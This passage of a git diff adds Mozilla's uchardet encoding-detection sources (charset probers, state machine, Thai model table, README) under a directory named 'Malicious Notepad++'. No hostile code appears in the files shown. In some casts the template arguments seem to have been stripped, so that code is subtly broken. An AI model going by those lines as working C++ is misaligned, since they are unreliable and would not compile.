+3,3,2,2,0,1,0,0,0,0,2,0,2,0,1,0,0,0,1,1,0,0,0,2,1,0,1,0,1,1,0,0, +0,1,0,2,0,0,1,0,3,0,1,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,1,0,0,1,0,0,0,0,0,1,1,2,0,0,0,0,1,0,0,1,3,1,0,0,0,0,1,1,0,0, +0,1,0,0,0,0,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0, +3,3,1,1,1,1,2,3,0,0,2,1,1,1,1,1,0,2,1,1,0,0,0,2,1,0,1,2,1,1,0,1, +2,1,0,3,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,3,1,0,0,0,0,0,0,0,3,0,0,0,3,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1, +0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,2,0,0,0,0,0,0,1,2,1,0,1,1,0,2,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,2,0,0,0,1,3,0,1,0,0,0,2,0,0,0,0,0,0,0,1,2,0,0,0,0,0, +3,3,0,0,1,1,2,0,0,1,2,1,0,1,1,1,0,1,1,0,0,2,1,1,0,1,0,0,1,1,1,0, +0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,1,0,0,0,0,1,0,0,0,0,3,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, +2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,0,0,1,1,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,1,0,1,2,0,1,2,0,0,1,1,0,2,0,1,0,0,1,0,0,0,0,1,0,0,0,2,0,0,0,0, +1,0,0,1,0,1,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,2,1,3,0,0,0,0,1,1,0,0,0,0,0,0,0,3, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,1,0,1,0,0,2,0,0,2,0,0,1,1,2,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0, +1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,3,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0, +1,0,0,0,0,0,0,0,0,1,0,0,0,0,2,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,1,1,0,0,2,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +}; + + +const SequenceModel TIS620ThaiModel( + TIS620CharToOrderMap, + ThaiLangModel, + (float)0.926386, + PR_FALSE, + "TIS-620" +); diff --git a/Malicious Notepad++/src/uchardet/README.TXT b/Malicious Notepad++/src/uchardet/README.TXT new file mode 100644 index 0000000..ad75bd5 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/README.TXT @@ -0,0 +1,10 @@ +Uchardet is a C language binding of the original C++ implementation of the universal charset detection library by Mozilla. +The source code of universalchardet is available at https://github.com/BYVoid/uchardet + +uchardet is an encoding detector library, which takes a sequence of bytes in an unknown character encoding without any additional information, and attempts to determine the encoding of the text. + +The original code of universalchardet is available at http://lxr.mozilla.org/seamonkey/source/extensions/universalchardet/ + +Techniques used by universalchardet are described at http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html + +Uchardet is licensed under Mozilla Public License Version 1.1 (http://www.mozilla.org/MPL/1.1/) diff --git a/Malicious Notepad++/src/uchardet/nsBig5Prober.cpp b/Malicious Notepad++/src/uchardet/nsBig5Prober.cpp new file mode 100644 index 0000000..7a85abb --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsBig5Prober.cpp @@ -0,0 +1,88 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsBig5Prober.h" + +void nsBig5Prober::Reset(void) +{ + mCodingSM->Reset(); + mState = eDetecting; + mDistributionAnalyser.Reset(mIsPreferredLanguage); +} + +nsProbingState nsBig5Prober::HandleData(const char* aBuf, PRUint32 aLen) +{ + nsSMState codingState; + + for (PRUint32 i = 0; i < aLen; i++) + { + codingState = mCodingSM->NextState(aBuf[i]); + if (codingState == eItsMe) + { + mState = eFoundIt; + break; + } + if (codingState == eStart) + { + PRUint32 charLen = mCodingSM->GetCurrentCharLen(); + + if (i == 0) + { + mLastChar[1] = aBuf[0]; + mDistributionAnalyser.HandleOneChar(mLastChar, charLen); + } + else + mDistributionAnalyser.HandleOneChar(aBuf+i-1, charLen); + } + } + + mLastChar[0] = aBuf[aLen-1]; + + if (mState == eDetecting) + if (mDistributionAnalyser.GotEnoughData() && GetConfidence() > SHORTCUT_THRESHOLD) + mState = eFoundIt; + + return mState; +} + +float nsBig5Prober::GetConfidence(void) +{ + float distribCf = mDistributionAnalyser.GetConfidence(); + + return (float)distribCf; +} + diff --git a/Malicious Notepad++/src/uchardet/nsBig5Prober.h b/Malicious Notepad++/src/uchardet/nsBig5Prober.h new file mode 100644 index 0000000..5ae3576 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsBig5Prober.h @@ -0,0 +1,74 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsBig5Prober_h__ +#define nsBig5Prober_h__ + +#include "nsCharSetProber.h" +#include "nsCodingStateMachine.h" +#include "CharDistribution.h" + +class nsBig5Prober: public nsCharSetProber { +public: + nsBig5Prober(PRBool aIsPreferredLanguage) + :mIsPreferredLanguage(aIsPreferredLanguage) + {mCodingSM = new nsCodingStateMachine(&Big5SMModel); + Reset();} + virtual ~nsBig5Prober(void){delete mCodingSM;} + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName() {return "Big5";} + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void); + void SetOpion() {} + +protected: + void GetDistribution(PRUint32 aCharLen, const char* aStr); + + nsCodingStateMachine* mCodingSM; + nsProbingState mState; + + //Big5ContextAnalysis mContextAnalyser; + Big5DistributionAnalysis mDistributionAnalyser; + char mLastChar[2]; + PRBool mIsPreferredLanguage; + +}; + + +#endif /* nsBig5Prober_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsCharSetProber.cpp b/Malicious Notepad++/src/uchardet/nsCharSetProber.cpp new file mode 100644 index 0000000..5e45d2d --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsCharSetProber.cpp @@ -0,0 +1,129 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shy Shalom + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsCharSetProber.h" +#include "prmem.h" + +//This filter applies to all scripts which do not use English characters +PRBool nsCharSetProber::FilterWithoutEnglishLetters(const char* aBuf, PRUint32 aLen, char** newBuf, PRUint32& newLen) +{ + char *newptr; + char *prevPtr, *curPtr; + + PRBool meetMSB = PR_FALSE; + newptr = *newBuf = (char*)PR_Malloc(aLen); + if (!newptr) + return PR_FALSE; + + for (curPtr = prevPtr = (char*)aBuf; curPtr < aBuf+aLen; curPtr++) + { + if (*curPtr & 0x80) + { + meetMSB = PR_TRUE; + } + else if (*curPtr < 'A' || (*curPtr > 'Z' && *curPtr < 'a') || *curPtr > 'z') + { + //current char is a symbol, most likely a punctuation. we treat it as segment delimiter + if (meetMSB && curPtr > prevPtr) + //this segment contains more than single symbol, and it has upper ASCII, we need to keep it + { + while (prevPtr < curPtr) *newptr++ = *prevPtr++; + prevPtr++; + *newptr++ = ' '; + meetMSB = PR_FALSE; + } + else //ignore current segment. (either because it is just a symbol or just an English word) + prevPtr = curPtr+1; + } + } + if (meetMSB && curPtr > prevPtr) + while (prevPtr < curPtr) *newptr++ = *prevPtr++; + + auto np = reinterpret_cast(newptr); + auto nb = reinterpret_cast(*newBuf); + newLen = static_cast(np - nb); + + return PR_TRUE; +} + +//This filter applies to all scripts which contain both English characters and upper ASCII characters. +PRBool nsCharSetProber::FilterWithEnglishLetters(const char* aBuf, PRUint32 aLen, char** newBuf, PRUint32& newLen) +{ + //do filtering to reduce load to probers + char *newptr; + char *prevPtr, *curPtr; + PRBool isInTag = PR_FALSE; + + newptr = *newBuf = (char*)PR_Malloc(aLen); + if (!newptr) + return PR_FALSE; + + for (curPtr = prevPtr = (char*)aBuf; curPtr < aBuf+aLen; curPtr++) + { + if (*curPtr == '>') + isInTag = PR_FALSE; + else if (*curPtr == '<') + isInTag = PR_TRUE; + + if (!(*curPtr & 0x80) && + (*curPtr < 'A' || (*curPtr > 'Z' && *curPtr < 'a') || *curPtr > 'z') ) + { + if (curPtr > prevPtr && !isInTag) // Current segment contains more than just a symbol + // and it is not inside a tag, keep it. + { + while (prevPtr < curPtr) *newptr++ = *prevPtr++; + prevPtr++; + *newptr++ = ' '; + } + else + prevPtr = curPtr+1; + } + } + + // If the current segment contains more than just a symbol + // and it is not inside a tag then keep it. + if (!isInTag) + while (prevPtr < curPtr) + *newptr++ = *prevPtr++; + + auto np = reinterpret_cast(newptr); + auto nb = reinterpret_cast(*newBuf); + newLen = static_cast(np - nb); + + return PR_TRUE; +} diff --git a/Malicious Notepad++/src/uchardet/nsCharSetProber.h b/Malicious Notepad++/src/uchardet/nsCharSetProber.h new file mode 100644 index 0000000..c078ccf --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsCharSetProber.h @@ -0,0 +1,76 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shy Shalom + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ +#ifndef nsCharSetProber_h__ +#define nsCharSetProber_h__ + +#include "nscore.h" + +//#define DEBUG_chardet // Uncomment this for debug dump. + +typedef enum { + eDetecting = 0, //We are still detecting, no sure answer yet, but caller can ask for confidence. + eFoundIt = 1, //That's a positive answer + eNotMe = 2 //Negative answer +} nsProbingState; + +#define SHORTCUT_THRESHOLD (float)0.95 + +class nsCharSetProber { +public: + virtual ~nsCharSetProber() {} + virtual const char* GetCharSetName() = 0; + virtual nsProbingState HandleData(const char* aBuf, PRUint32 aLen) = 0; + virtual nsProbingState GetState(void) = 0; + virtual void Reset(void) = 0; + virtual float GetConfidence(void) = 0; + virtual void SetOpion() = 0; + +#ifdef DEBUG_chardet + virtual void DumpStatus() {}; +#endif + + // Helper functions used in the Latin1 and Group probers. + // both functions Allocate a new buffer for newBuf. This buffer should be + // freed by the caller using PR_FREEIF. + // Both functions return PR_FALSE in case of memory allocation failure. + static PRBool FilterWithoutEnglishLetters(const char* aBuf, PRUint32 aLen, char** newBuf, PRUint32& newLen); + static PRBool FilterWithEnglishLetters(const char* aBuf, PRUint32 aLen, char** newBuf, PRUint32& newLen); + +}; + +#endif /* nsCharSetProber_h__ */ diff --git a/Malicious Notepad++/src/uchardet/nsCodingStateMachine.h b/Malicious Notepad++/src/uchardet/nsCodingStateMachine.h new file mode 100644 index 0000000..07eadee --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsCodingStateMachine.h @@ -0,0 +1,107 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ +#ifndef nsCodingStateMachine_h__ +#define nsCodingStateMachine_h__ + +#include "nsPkgInt.h" + +typedef enum { + eStart = 0, + eError = 1, + eItsMe = 2 +} nsSMState; + +#define GETCLASS(c) GETFROMPCK(((unsigned char)(c)), mModel->classTable) + +//state machine model +struct SMModel +{ + nsPkgInt classTable; + PRUint32 classFactor; + nsPkgInt stateTable; + const PRUint32* charLenTable; + const char* name; + SMModel(){}; + SMModel(nsPkgInt a,PRUint32 b,nsPkgInt c,const PRUint32* d, const char* e): + classTable(a), classFactor(b), stateTable(c), charLenTable(d), name(e){}; +} ; + +class nsCodingStateMachine { +public: + nsCodingStateMachine(const SMModel* sm) : mModel(sm) { mCurrentState = eStart; } + nsSMState NextState(char c){ + //for each byte we get its class , if it is first byte, we also get byte length + PRUint32 byteCls = GETCLASS(c); + if (mCurrentState == eStart) + { + mCurrentBytePos = 0; + mCurrentCharLen = mModel->charLenTable[byteCls]; + } + //from byte's class and stateTable, we get its next state + mCurrentState=(nsSMState)GETFROMPCK(mCurrentState*(mModel->classFactor)+byteCls, + mModel->stateTable); + mCurrentBytePos++; + return mCurrentState; + } + PRUint32 GetCurrentCharLen(void) {return mCurrentCharLen;} + void Reset(void) {mCurrentState = eStart;} + const char * GetCodingStateMachine() {return mModel->name;} + +protected: + nsSMState mCurrentState; + PRUint32 mCurrentCharLen; + PRUint32 mCurrentBytePos; + + const SMModel *mModel; +}; + +extern const SMModel UTF8SMModel; +extern const SMModel Big5SMModel; +extern const SMModel EUCJPSMModel; +extern const SMModel EUCKRSMModel; +extern const SMModel EUCTWSMModel; +extern const SMModel GB18030SMModel; +extern const SMModel SJISSMModel; + + +extern const SMModel HZSMModel; +extern const SMModel ISO2022CNSMModel; +extern const SMModel ISO2022JPSMModel; +extern const SMModel ISO2022KRSMModel; + +#endif /* nsCodingStateMachine_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsEUCJPProber.cpp b/Malicious Notepad++/src/uchardet/nsEUCJPProber.cpp new file mode 100644 index 0000000..54861b3 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsEUCJPProber.cpp @@ -0,0 +1,99 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +// for japanese encoding, obeserve characteristic: +// 1, kana character (or hankaku?) often have hight frequency of appereance +// 2, kana character often exist in group +// 3, certain combination of kana is never used in japanese language + +#include "nsEUCJPProber.h" + +void nsEUCJPProber::Reset(void) +{ + mCodingSM->Reset(); + mState = eDetecting; + mContextAnalyser.Reset(mIsPreferredLanguage); + mDistributionAnalyser.Reset(mIsPreferredLanguage); +} + +nsProbingState nsEUCJPProber::HandleData(const char* aBuf, PRUint32 aLen) +{ + nsSMState codingState; + + for (PRUint32 i = 0; i < aLen; i++) + { + codingState = mCodingSM->NextState(aBuf[i]); + if (codingState == eItsMe) + { + mState = eFoundIt; + break; + } + if (codingState == eStart) + { + PRUint32 charLen = mCodingSM->GetCurrentCharLen(); + + if (i == 0) + { + mLastChar[1] = aBuf[0]; + mContextAnalyser.HandleOneChar(mLastChar, charLen); + mDistributionAnalyser.HandleOneChar(mLastChar, charLen); + } + else + { + mContextAnalyser.HandleOneChar(aBuf+i-1, charLen); + mDistributionAnalyser.HandleOneChar(aBuf+i-1, charLen); + } + } + } + + mLastChar[0] = aBuf[aLen-1]; + + if (mState == eDetecting) + if (mContextAnalyser.GotEnoughData() && GetConfidence() > SHORTCUT_THRESHOLD) + mState = eFoundIt; + + return mState; +} + +float nsEUCJPProber::GetConfidence(void) +{ + float contxtCf = mContextAnalyser.GetConfidence(); + float distribCf = mDistributionAnalyser.GetConfidence(); + + return (contxtCf > distribCf ? contxtCf : distribCf); +} + diff --git a/Malicious Notepad++/src/uchardet/nsEUCJPProber.h b/Malicious Notepad++/src/uchardet/nsEUCJPProber.h new file mode 100644 index 0000000..a7a2f51 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsEUCJPProber.h @@ -0,0 +1,78 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +// for S-JIS encoding, obeserve characteristic: +// 1, kana character (or hankaku?) often have hight frequency of appereance +// 2, kana character often exist in group +// 3, certain combination of kana is never used in japanese language + +#ifndef nsEUCJPProber_h__ +#define nsEUCJPProber_h__ + +#include "nsCharSetProber.h" +#include "nsCodingStateMachine.h" +#include "JpCntx.h" +#include "CharDistribution.h" + +class nsEUCJPProber: public nsCharSetProber { +public: + nsEUCJPProber(PRBool aIsPreferredLanguage) + :mIsPreferredLanguage(aIsPreferredLanguage) + {mCodingSM = new nsCodingStateMachine(&EUCJPSMModel); + Reset();} + virtual ~nsEUCJPProber(void){delete mCodingSM;} + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName() {return "EUC-JP";} + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void); + void SetOpion() {} + +protected: + nsCodingStateMachine* mCodingSM; + nsProbingState mState; + + EUCJPContextAnalysis mContextAnalyser; + EUCJPDistributionAnalysis mDistributionAnalyser; + + char mLastChar[2]; + PRBool mIsPreferredLanguage; +}; + + +#endif /* nsEUCJPProber_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsEUCKRProber.cpp b/Malicious Notepad++/src/uchardet/nsEUCKRProber.cpp new file mode 100644 index 0000000..3632f1f --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsEUCKRProber.cpp @@ -0,0 +1,91 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsEUCKRProber.h" + +void nsEUCKRProber::Reset(void) +{ + 